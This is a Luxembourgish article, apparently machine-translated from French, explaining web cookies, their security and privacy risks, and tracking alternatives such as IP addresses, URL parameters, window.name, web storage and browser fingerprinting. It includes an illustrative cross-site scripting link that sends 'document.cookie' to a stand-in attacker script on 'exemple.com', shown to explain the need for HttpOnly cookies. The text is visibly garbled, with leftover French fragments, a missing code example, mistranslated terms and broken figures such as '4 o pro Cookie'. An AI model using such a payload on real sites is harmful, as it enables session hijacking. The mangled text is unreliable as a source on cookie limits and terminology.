MÀ an der Praxis ass dës Behaaptung an de meeschte FÀll falsch, well haut e "perséinleche" Computer (oder e Smartphone, oder Tablet, wat méi schlëmm ass) haaptsÀchlech vun engem eenzegen Individuum benotzt gëtt. duerch de Volume vun gesammelt Informatioune kommen op personaliséiert Zilsetzung och wann d'Persoun net "nÀmlech" identifizéiert ass.

E Cookie ka vun engem anere Computer am Netz geklaut ginn.

WÀrend der normaler Operatioun ginn Cookien tëscht dem Server (oder enger Grupp vu Serveren am selwechte Domain) an dem Computerbrowser vum Benotzer zréckgeschéckt. Zënter Cookien kënnen sensibel Informatioun enthalen (Benotzernumm, e Passwuert benotzt fir d'Authentifikatioun, etc.), sollten hir WÀerter net fir aner Computeren zougÀnglech sinn. Cookie Déif ass en Akt vun Offang vu Cookien vun engem onerlaabten Drëtte Partei.

Cookies kënne geklaut ginn iwwer e Packet Sniffer an engem Attack genannt Sessiounskaping. Verkéier um Netz kann ofgefaangen a gelies ginn vun anere Computeren wéi déi, déi schécken a kréien (besonnesch op der onverschlësselter ëffentlecher Wi-Fi Plaz). Dëse Traffic enthÀlt Cookien, déi iwwer Sessiounen mat dem einfachen HTTP-Protokoll geschéckt ginn. Wann de Netzverkéier net verschlësselt ass, kënnen béisaarteg Benotzer also d'Kommunikatioune vun anere Benotzer am Netz mat "Packet Sniffers" liesen.

Dëse Problem kann iwwerwonne ginn andeems d'Verbindung tëscht dem Computer vum Benotzer an dem Server mam HTTPS Protokoll verschlësselt gëtt. E Server kann spezifizéieren a sécher FÀndel beim Kader vun engem Cookie; de Browser schéckt et nëmmen iwwer eng sécher Linn, wéi eng SSL Verbindung.

Wéi och ëmmer, vill Siten, obwuel se mat HTTPS verschlësselte Kommunikatioun fir d'Benotzer Authentifikatioun benotzen (dh d'Login SÀit), spéider schécken Sessiouns-Cookien an aner Daten wéi normal, duerch onverschlësselte HTTP-Verbindungen aus Effizienzgrënn. UgrÀifer kënnen also d'Cookien vun anere Benotzer interceptéieren an se op passenden Siten virstellen oder se an Cookieattacken benotzen.

Scripting um Site: e Cookie, deen nëmmen tëscht dem Server an dem Client ausgetauscht soll ginn, gëtt un eng aner Drëtt Partei geschéckt.

Eng aner Manéier fir Cookien ze klauen ass Siten ze skriptéieren an de Browser selwer Cookien op béiswëlleg Serveren ze schécken déi se ni kréien. Moderne Browser erlaben d'Ausféierung vun gesichte Deeler vum Code vum Server. Wann Cookien wÀhrend der Runtime zougÀnglech sinn, kënnen hir WÀerter an iergendenger Form un Serveren kommunizéiert ginn, déi net op hinnen zougrÀifen. D'Verschlësselung vu Cookien ier se iwwer d'Netz geschéckt ginn hëlleft net den Attack ze verhënneren.

Dës Zort vun In-Site Scripting gëtt typesch vun UgrÀifer op Siten benotzt déi d'Benotzer erlaben HTML Inhalt ze posten. Andeems Dir en Deel vum kompatiblen Code am HTML BÀitrag integréiert, kann en UgrÀifer Cookien vun anere Benotzer kréien. D'Wësse vun dëse Cookien ka benotzt ginn andeems Dir op dee selwechte Site verbënnt mat de geklauten Cookien, sou datt de Benotzer unerkannt gëtt, deem seng Cookien geklaut goufen.

Ee Wee fir esou Attacken ze verhĂ«nneren ass den HttpOnly FĂ€ndel ze benotzen; et ass eng Optioun, agefouert zĂ«nter Versioun 6 vum Internet Explorer am PHP zĂ«nter Versioun 5.2.0, dĂ©i geplangt ass de Cookie fir de Client no beim Skript onzougĂ€nglech ze maachen. WĂ©i och Ă«mmer, WebentwĂ©ckler sollten dĂ«st an hirer EntwĂ©cklung vum Site berĂŒcksichtegen, sou datt se immun gĂ©int Skripting op der SĂ€it sinn.

Eng aner Sécherheetsbedrohung déi benotzt gëtt ass d'Demande Fabrikatioun um Site.

Déi offiziell technesch Spezifizéierung erlaabt datt Cookien nëmmen op Serveren am Domain zréckgeschéckt ginn, aus deem se hierkommen. Wéi och ëmmer, de WÀert vu Cookien kann op aner Servere mat anere Mëttelen wéi Cookie Header geschéckt ginn.

Besonnesch Skriptsprooche wéi JavaScript sinn allgemeng erlaabt Zougang zu CookiewÀerter ze kréien a si fÀeg fir arbitrÀr WÀerter op all Server um Internet ze schécken. Dës SkriptfÀegkeet gëtt vu WebsÀite benotzt, déi d'Benotzer erlaben HTML Inhalt ze posten fir aner Benotzer ze gesinn.

Zum Beispill kann en UgrÀifer op der example.com Domain e Kommentar posten deen de folgende Link enthÀlt, deen op e populÀre Blog weist, deen se soss net kontrolléieren:

<a href="#" onclick="window.location = 'http://exemple.com/stole.cgi?text=' + escape(document.cookie); return false;">Cliquez ici !</a>

Wann en anere Benotzer op dëse Link klickt, fiert de Browser den onclick Attribut Deel vum Code aus, sou datt en den document.cookie String mat der Lëscht vun de Benotzer Cookien ersetzt, déi fir dës SÀit aktiv sinn. Dofir gëtt dës Lëscht vu Cookien op de example.com Server geschéckt, an den UgrÀifer ass dofir fÀeg d'Cookien vun dësem Benotzer ze sammelen.

Dës Aart vun Attack ass schwéier op der BenotzersÀit z'entdecken, well de Skript aus deemselwechten Domain kënnt deen de Cookie gesat huet, an d'Operatioun fir d'WÀerter ze schécken schéngt vun deem Domain autoriséiert ze sinn. Et gëtt ugeholl datt et d'Verantwortung vun den Administrateuren ass, déi dës Zort Site operéieren, Restriktiounen opzesetzen, déi d'Publikatioun vu béiswëllegen Code verhënneren.

Cookies sinn net direkt siichtbar fir Client-SĂ€it Programmer wĂ©i JavaScript wa se mam HttpOnly FĂ€ndel geschĂ©ckt goufen. Aus der Siicht vum Server ass den eenzegen Ënnerscheed datt an der Linn vum Set-Cookie Header en neit Feld bĂ€igefĂŒĂŒgt gĂ«tt mat der String HttpOnly:

Set-Cookie: RMID=732423sdfs73242; expires=Fri, 31-Dec-2010 23:59:59 GMT; path=/; domain=.exemple.net; HttpOnly

Wann de Browser esou e Cookie kritt, soll et normalerweis am folgenden HTTP-Austausch benotzen, awer ouni et sichtbar ze maachen fir Scripten déi op der Client SÀit ausgefouert ginn. Den HttpOnly FÀndel ass net Deel vun enger offizieller technescher Spezifizéierung, an ass net an all Browser implementéiert. Notéiert datt et de Moment kee Wee gëtt fir d'Liesen a Schreiwen vu Sessiouns-Cookien duerch d'XMLHTTPRequest Method ze verhënneren.

Ännerung vum Inhalt: en UgrĂ€ifer schĂ©ckt en ongĂ«lteg Cookie un e Server, mĂ©iglecherweis aus engem gĂŒltege Cookie, deen vum Server geschĂ©ckt gĂ«tt.

Soubal d'Cookien musse gespÀichert ginn an onverÀnnert op de Server zréckginn, kann en UgrÀifer de WÀert vun de Cookien Ànneren ier se op de Server zréckgeschéckt ginn. Zum Beispill, wann e Cookie den GesamtwÀert enthÀlt, deen de Benotzer muss bezuelen fir d'Elementer, déi am Akafsweenchen vum GeschÀft plazéiert sinn, setzt d'VerÀnnerung vun dësem WÀert de Server dem Risiko aus, den UgrÀifer manner wéi den StartprÀis ze bezuelen. De Prozess fir de WÀert vu Cookien z'Ànneren gëtt genannt Cookie Vergëftung a kann nom Cookiedéif benotzt ginn fir den Attack persistent ze maachen.

An der Cookie-IwwerschrĂ«ftmethod exploitĂ©iert den UgrĂ€ifer e Browser-Glitch fir en ongĂŒlteg Cookie op de Server ze schĂ©cken.

Déi meescht WebsÀite spÀicheren awer nëmmen eng Sessiouns-ID - eng zoufÀlleg generéiert eenzegaarteg Zuel, déi benotzt gëtt fir de Sessiounsbenotzer z'identifizéieren - am Cookie selwer, wÀhrend all aner Informatioun um Server gespÀichert ass. An dësem Fall ass dëse Problem gréisstendeels geléist.

All Site gëtt erwaart seng eege Cookien ze hunn, sou datt ee Site net fÀeg ass Cookien mat enger anerer SÀit z'Ànneren oder ze kreéieren. E Webbrowser Sécherheetsfehler kann béiswëlleg Siten erlaben dës Regel ze briechen. D'Ausbeutung vun esou engem Feeler gëtt allgemeng als KrÀiz-Site Kachen. Den Zweck vun esou Attacke kann Sessioun ID Déifstall sinn.

D'Benotzer sollten déi lescht Versioune vu Webbrowser benotzen, an deenen dës Schwachstelle quasi éliminéiert sinn.

Konflikt Staat tëscht Client a Server

D'Benotzung vu Cookien kann e Widdersproch tëscht dem Zoustand vum Client an dem Staat am Cookie gespÀichert generéieren. Wann de Benotzer e Cookie kritt an op de "Back" KnÀppchen vum Browser klickt, ass den Zoustand vum Browser allgemeng net déiselwecht wéi virun dëser Acquisitioun. Zum Beispill, wann de Kuerf vun engem Online-GeschÀft mat Cookien erstallt gëtt, kann den Inhalt vum Kuerf net Ànneren wann de Benotzer an d'Browsergeschicht zréckkënnt: wann de Benotzer e KnÀppchen dréckt fir en Artikel a sengem Kuerf ze addéieren a klickt op "Zréckkomm" " KnÀppchen, den Artikel bleift an dësem. Dëst ass vlÀicht net d'Absicht vum Benotzer, dee sécherlech d'Additioun vum Artikel wëll annuléieren. Dëst kann zu OnverlÀssegkeet, Duercherneen a KÀfere féieren. Also Webentwéckler sollten dëse Problem bewosst sinn an Moossname implementéieren fir Situatiounen wéi dës ze handhaben.

Persistent Cookien goufe vu PrivatsphÀr Sécherheetsexperten kritiséiert fir net agestallt ze sinn fir séier genuch auszelafen, wouduerch WebsÀiten d'Benotzer verfollegen an hire Profil iwwer ZÀit opbauen. Dësen Aspekt vu Cookien ass och Deel vum Sessiounshacking Problem, well e geklauten persistent Cookie ka benotzt ginn fir e Benotzer fir eng bedeitend ZÀit ze imitéieren.

Fir ze liesen: GAFAM: Wien sinn se? Firwat sinn se (heiansdo) sou grujeleg?

Alternativen zu Cookien

E puer Operatiounen, déi mat Cookien ausgefouert kënne ginn, kënnen och mat anere Mechanismen ausgefouert ginn, déi Cookien ëmgoen oder gelÀscht Cookien nei erstellen, wat PrivatsphÀrprobleemer op déiselwecht Manéier erstellt (oder heiansdo méi schlëmm well dann onsichtbar) wéi Cookien.

IP Adress

D'Benotzer kĂ«nne mat der IP Adress vum Computer verfollegt ginn, deen d'SĂ€it nennt. DĂ«s Technik ass verfĂŒgbar zĂ«nter der AfĂ©ierung vum World Wide Web, wĂ©i SĂ€iten erofgeluede ginn, freet de Server d'IP Adress vum Computer deen de Browser oder de Proxy leeft, wa kee benotzt gĂ«tt. De Server kann dĂ«s Informatioun verfollegen ob et Cookien am Gebrauch sinn oder net. WĂ©i och Ă«mmer, dĂ«s Adresse sinn typesch manner zouverlĂ€sseg fir e Benotzer z'identifizĂ©ieren wĂ©i Cookien well Computeren a Proxyen vu ville Benotzer gedeelt kĂ«nne ginn, an dee selwechte Computer kann eng aner IP Adress op all Aarbechtssitzung krĂ©ien (wĂ©i c dacks de Fall fir Telefonverbindungen) .

Tracking duerch IP Adressen kann an e puer Situatiounen zouverlÀsseg sinn, wéi Breetbandverbindungen, déi déi selwecht IP Adress fir eng laang ZÀit behalen, soulaang d'Kraaft op ass.

E puer Systemer wéi Tor sinn entwéckelt fir d'Anonymitéit vum Internet z'erhalen an d'Verfolgung vun der IP Adress onméiglech oder onpraktesch ze maachen.

URL

Eng méi prÀzis Technik baséiert op d'Integratioun vun Informatioun an URLen. De Query String Deel vun der URL ass eng Technik déi typesch fir dësen Zweck benotzt gëtt, awer aner Deeler kënnen och benotzt ginn. Souwuel de Java Serverlet wéi och de PHP Sessiounsmechanismus benotzen dës Method wann Cookien net aktivéiert sinn.

Dës Method beinhalt de Webserver, deen String Ufroen un d'Links vun der WebsÀit bÀidréit, déi et dréit wann se an de Browser geschéckt gëtt. Wann de Benotzer e Link verfollegt, gëtt de Browser déi befestegt Ufrostring op de Server zréck.

Query Strings, déi fir dësen Zweck benotzt ginn a Cookien si ganz Àhnlech, souwuel sinn Informatioun, déi arbitrÀr vum Server gewielt gëtt a vum Browser zréckginn. Wéi och ëmmer, et ginn e puer Differenzen: wann eng URL mat enger Ufro String weiderbenotzt gëtt, gëtt déiselwecht Informatioun un de Server geschéckt. Zum Beispill, wann d'Astellunge vun engem Benotzer an enger Ufro String vun enger URL kodéiert sinn an de Benotzer dës URL un en anere Benotzer per E-Mail schéckt, kann dee Benotzer och dës Virléiften benotzen.

Op der anerer SÀit, wann e Benotzer zweemol op déi selwecht SÀit zougrÀift, gëtt et keng Garantie datt déiselwecht Ufro String béid Kéier benotzt gëtt. Zum Beispill, wann e Benotzer op enger SÀit vun enger interner SÀit SÀit déi éischte Kéier landen an op der selwechter SÀit vun enger externer SÀit déi zweete Kéier landen, ass d'Ufro String relativ zu der SÀit SÀit typesch anescht, wÀhrend d'Cookien d'selwecht sinn .

Aner Nodeeler vun Ufro Strings bezéie sech op Sécherheet: Date behalen, déi eng Sessioun an Ufro Strings identifizéiert, erméiglecht oder vereinfacht Sessiounsfixatiounsattacken, Identifizéierer Referenzattacken an aner Ausnotzen. Passéiere vun Sessiouns-IDen als HTTP-Cookien ass méi sécher.

Verstoppt Form Feld

Eng Form vu Sessiounsverfollegung, benotzt vun ASP.NET, ass Webformulare mat verstoppte Felder ze benotzen. DĂ«s Technik ass ganz Ă€hnlech wĂ©i d'URL Ufro Strings ze benotzen fir Informatioun ze droen an huet dĂ©iselwecht Virdeeler an Nodeeler; a wann d'Form mat der HTTP GET Method veraarbecht gĂ«tt, ginn d'Felder tatsĂ€chlech Deel vun der URL vum Browser, deen et schĂ©ckt wann de Formulaire ofgitt. Awer dĂ©i meescht Forme gi mat HTTP POST veraarbecht, wat verursaacht datt d'Forminformatioun, inklusiv verstoppte Felder, als zousĂ€tzlech Input bĂ€igefĂŒĂŒgt gĂ«tt, deen weder Deel vun der URL nach e Cookie ass.

Dës Approche huet zwee Virdeeler aus enger Tracking Perspektiv: éischtens, d'Verfollegung vun der Informatioun am HTML Quellcode an POST Input anstatt d'URL ze verfolgen erlaabt den duerchschnëttleche Benotzer dës Tracking ze vermeiden; zweetens, d'Sessiounsinformatioun gëtt net kopéiert wann de Benotzer d'URL kopéiert (fir d'SÀit op Disk ze spÀicheren oder se per E-Mail ze schécken, zum Beispill).

window.name

All ĂŒblech Webbrowser kĂ«nnen eng zimlech grouss QuantitĂ©it un Daten (2MB bis 32MB) iwwer JavaScript spĂ€icheren mat der DOM's window.name Eegeschafte. DĂ«s DonnĂ©eĂ« kĂ«nnen anstatt Sessiouns-Cookien benotzt ginn a ginn och iwwer Domaine benotzt. D'Technik kann mat JSON Objete gekoppelt ginn fir e komplexe Set vu Client-SĂ€it Sessiounsvariablen ze spĂ€icheren.

De Nodeel ass, datt all separat Fënster oder Tab am Ufank eng eidel window.name; wann Dir duerch Tabs surft (vum Benotzer opgemaach) heescht dat datt déi individuell opgemaach Tabs keen Fënsternumm hunn. ZousÀtzlech kann window.name benotzt ginn fir Besucher iwwer verschidde Site ze verfolgen, déi e PrivatsphÀrprobleem stellen.

An e puer Hisiichte kann dĂ«st mĂ©i sĂ©cher sinn wĂ©i Cookien, wĂ©inst der Net-Involvatioun vum Server, sou datt et onverwĂ«lleg ass fir den Netzwierkattack vu Sniffer Cookien. Wann awer speziell Moossname geholl gi fir d'DonnĂ©eĂ«n ze schĂŒtzen, ass et vulnĂ©rabel fir weider Attacken, well d'DonnĂ©eĂ«n iwwer aner Siten, dĂ©i an der selwechter FĂ«nster opgemaach sinn, verfĂŒgbar sinn.

HTTP Authentifikatioun

Den HTTP-Protokoll enthÀlt d'Basis-Authentifizéierungsprotokoller an den Zougangsauthentifikatiounsverdauung, deen Zougang zu enger WebsÀit nëmmen erlaabt wann de Benotzer de Benotzernumm a Passwuert uginn huet. Wann de Server e Certificat freet fir Zougang zu enger WebsÀit ze ginn, freet de Browser et vum Benotzer an eemol kritt, spÀichert de Browser et a schéckt et an all spéider HTTP-Ufroen. Dës Informatioun kann benotzt ginn fir de Benotzer ze verfolgen.

Lokal gedeelt Objet

Wann e Browser den Adobe Flash Player Plugin enthÀlt, ass de lokal gedeelt Objeten kënne fir dee selwechten Zweck wéi Cookien benotzt ginn. Si kënnen eng attraktiv Wiel fir Webentwéckler sinn well:

  • d'StandardgrĂ©isst Limit fir e lokalen gemeinsamen Objet ass 100 KB;
  • SĂ©cherheetskontrolle sinn getrennt vu Benotzer-Cookie-Checken (sou datt lokal gedeelt Objeten erlaabt sinn wann Cookien net sinn).

Dëse leschte Punkt, deen d'Cookie-Management-Politik ënnerscheet vun dÀr vun Adobe's lokalen gemeinsamen Objeten stellt Froen op betreffend d'Gestioun vum Benotzer vu senge PrivatsphÀr-Astellungen: hie muss sech bewosst sinn datt seng Gestioun vu Cookien keen Impakt op d'Gestioun vu lokalen gemeinsamen Objeten huet, a vice versa.

Eng aner Kritik un dësem System ass datt et nëmmen duerch den Adobe Flash Player Plugin benotzt ka ginn, deen propriétaire ass an net e Webstandard.

Client-SĂ€it Persistenz

E puer Webbrowser Ă«nnerstĂ«tzen e Skript-basĂ©iert Persistenzmechanismus, deen d'SĂ€it erlaabt Informatioun lokal ze spĂ€icheren fir spĂ©ider Notzung. Internet Explorer, zum Beispill, Ă«nnerstĂ«tzt persistent Informatioun an der Browsergeschicht, Lieszeechen, an engem Format dat am XML gespĂ€ichert ass oder direkt mat enger WebsĂ€it op Disk gespĂ€ichert. Fir Microsoft Internet Explorer 5 gĂ«tt et eng User-Datenmethod verfĂŒgbar duerch DHTML Verhalen.

De W3C huet an HTML 5 eng nei JavaScript API fir Client-SÀit Datelagerung genannt Webspeicher a zielt fir permanent Cookien ze ersetzen. Et ass Àhnlech wéi Cookien awer mat staark verbesserte Kapazitéit an ouni Informatioun am Header vun HTTP-Ufroen ze spÀicheren. D'API erlaabt zwou Zorte vu Weblagerung: lokal SpÀicheren a Sessiounsspeicher, Àhnlech wéi persistent Cookien a Sessiouns Cookien (ausser datt Sessiouns Cookien auslafen wann de Browser zou ass Sëtzungslagerung oflafen wann d'Tab zou ass), respektiv. Weblagerung gëtt ënnerstëtzt vu Mozilla Firefox 3.5, Google Chrome 5, Apple Safari 4, Microsoft Internet Explorer 8 an Opera 10.50.

En anere Mechanismus setzt normalerweis op Browser-Caching (am ErĂ«nnerung anstatt ErfrĂ«schung) mat JavaScript Programmer op WebsĂ€iten. 

Zum Beispill kann eng SĂ€it den Tag enthalen . La premiĂšre fois que la page se charge, le programme exemple.js est aussi chargĂ©. 

Zu dĂ«sem ZĂ€itpunkt bleift de Programm am Cache-ErĂ«nnerung an dĂ©i besicht SĂ€it gĂ«tt net eng zweete KĂ©ier nei gelueden. Dofir, wann de Programm eng global Variabel enthĂ€lt (zum Beispill var id = 3243242;), bleift dĂ«sen IdentifizĂ©ierer gĂ«lteg a kann duerch aner JavaScript Code exploitĂ©iert ginn wann d'SĂ€it erĂ«m gelueden ass, oder eemol eng SĂ€it dĂ©i de Programm verbĂ«nnt gelueden ass. 

De groussen Nodeel vun dëser Method ass datt d'JavaScript global Variabel statesch muss sinn, dat heescht datt se net wéi e Cookie geÀnnert oder gelÀscht ka ginn.

Webbrowser Fangerofdrock

E Browser Fangerofdrock ass Informatioun gesammelt iwwer d'Konfiguratiounsastellunge vun engem Browser fir Identifikatiounszwecker. Dës Fangerofdréck kënne benotzt ginn fir en Internet Benotzer oder en Apparat voll oder deelweis z'identifizéieren, och wann Cookien ausgeschalt sinn.

Basis Webbrowser Konfiguratiounsinformatioun gouf laang vun WebsÀit Publikumsservicer gesammelt fir den Zweck vum mënschleche Webverkéier prÀzis ze moossen a verschidde Forme vu Klickbedruch z'entdecken. Mat der Hëllef vu Client-SÀit Skriptesproochen ass vill méi genee Informatiounssammlung elo méiglech.

DĂ«s Informatioun an e bĂ«sse String Ă«msetzen produzĂ©iert en Apparat Fangerofdrock. Am Joer 2010 huet d'Electronic Frontier Foundation (EFF) d'Entropie vum Fangerofdrock vun engem Browser op d'mannst gemooss. 18,1 ausmĂ«cht, an dat war virum FortschrĂ«tter am Canvas Fangerofdrock 5,7 Bits zu dĂ€r Entropie bĂ€igefĂŒĂŒgt.

Cookien an enger Nossschuel

Cookies si kleng Textdateien, déi vum Webbrowser op der Festplack vum Besucher vun engem WebsÀit gespÀichert ginn an déi (ënner anerem) benotzt gi fir Informatioun iwwer de Besucher oder seng Rees duerch de Site opzehuelen. De Webmaster kann also d'Gewunnechten vun engem Visiteur erkennen an d'Presentatioun vu sengem Site fir all Visiteur personaliséieren; Cookien maachen et dann méiglech ze erënneren wéi vill Artikelen op der Homepage ze weisen oder souguer d'Login-Umeldungsinformatioune fir all privat Partei ze behalen: Wann de Besucher op de Site zréckkënnt, ass et net méi néideg fir hien sÀin Numm a Passwuert ze schreiwen unerkannt ginn, well se automatesch am Cookie gelies ginn.

E Cookie huet eng limitéiert Liewensdauer, gesat vum Site Designer. Si kënnen och um Enn vun der Sessioun um Site oflafen, wat dem Zoumaache vum Browser entsprécht. Cookies gi wÀit benotzt fir d'Besucher d'Liewen méi einfach ze maachen an hinnen méi relevant Informatioun ze presentéieren. Awer speziell Techniken maachen et méiglech, e Besucher op verschiddene Site ze verfollegen an domat ganz extensiv Informatioun iwwer seng Gewunnechten ze sammelen an ze iwwerpréiwen. Dës Method huet d'Benotzung vu Cookien e Ruff als Iwwerwaachungstechnik ginn, déi d'PrivatsphÀr vun de Besucher verletzt, wat leider der Realitéit entsprécht a ville FÀll vu Gebrauch aus net-technesche Grënn oder net respektéiert de Benotzererwaardungen. .

Als Äntwert op dĂ«s legitim Ängscht stellt HTML 5 eng nei JavaScript API fir Client-SĂ€it Datelagerung vir, genannt Webspeicher, dĂ©i vill mĂ©i sĂ©cher ass a mat mĂ©i grousser KapazitĂ©it, dĂ©i zielt fir Cookien ze ersetzen.

Stockage vun Cookien

Mat e puer Browser ass e Cookie einfach z'Ànneren, en einfachen Texteditor wéi Notepad ass genuch fir seng WÀerter manuell z'Ànneren.

Cookies ginn anescht gespÀichert ofhÀngeg vum Browser:

  • Microsoft Internet Explorer spĂ€ichert all Cookie an enger anerer Datei;
  • Mozilla Firefox spĂ€ichert all seng Cookien an enger eenzeger Datei;
  • Oper spĂ€ichert all seng Cookien an enger eenzeger Datei a verschlĂ«sselt se (onmĂ©iglech se ze Ă€nneren ausser an de Softwareoptiounen);
  • Apple Safari spĂ€ichert all seng Cookien an enger eenzeger .plist Extensiounsdatei. Modifikatioun ass mĂ©iglech awer net ganz einfach, ausser Dir gitt duerch d'Softwareoptiounen.

Browser sinn erfuerderlech fir z'ënnerstëtzen op d 'mannst :

  • 300 simultan Cookien;
  • 4 o pro Cookie;
  • 20 Cookien pro Host oder Domain.
[Insgesamt: 0 heescht: 0]

schrëftlech vun Rezensiounen Redaktoren

D'Equipe vun Expert Editoren verbréngt hir ZÀit fir Produkter ze recherchéieren, praktesch Tester ze maachen, Interviewe mat Professionneller an der Industrie, d'Konsumentenbeurteeler ze iwwerpréiwen, an all eis Resultater als verstÀndlech an ëmfaassend Zesummefaassungen ze schreiwen.

Hannerlooss eng Bemierkung

Är E-Mail Adress gĂ«tt net verĂ«ffentlecht. NĂ©ideg Felder sinn markĂ©iert *

Wat denks du?

384 Punkten
Upvote Downvote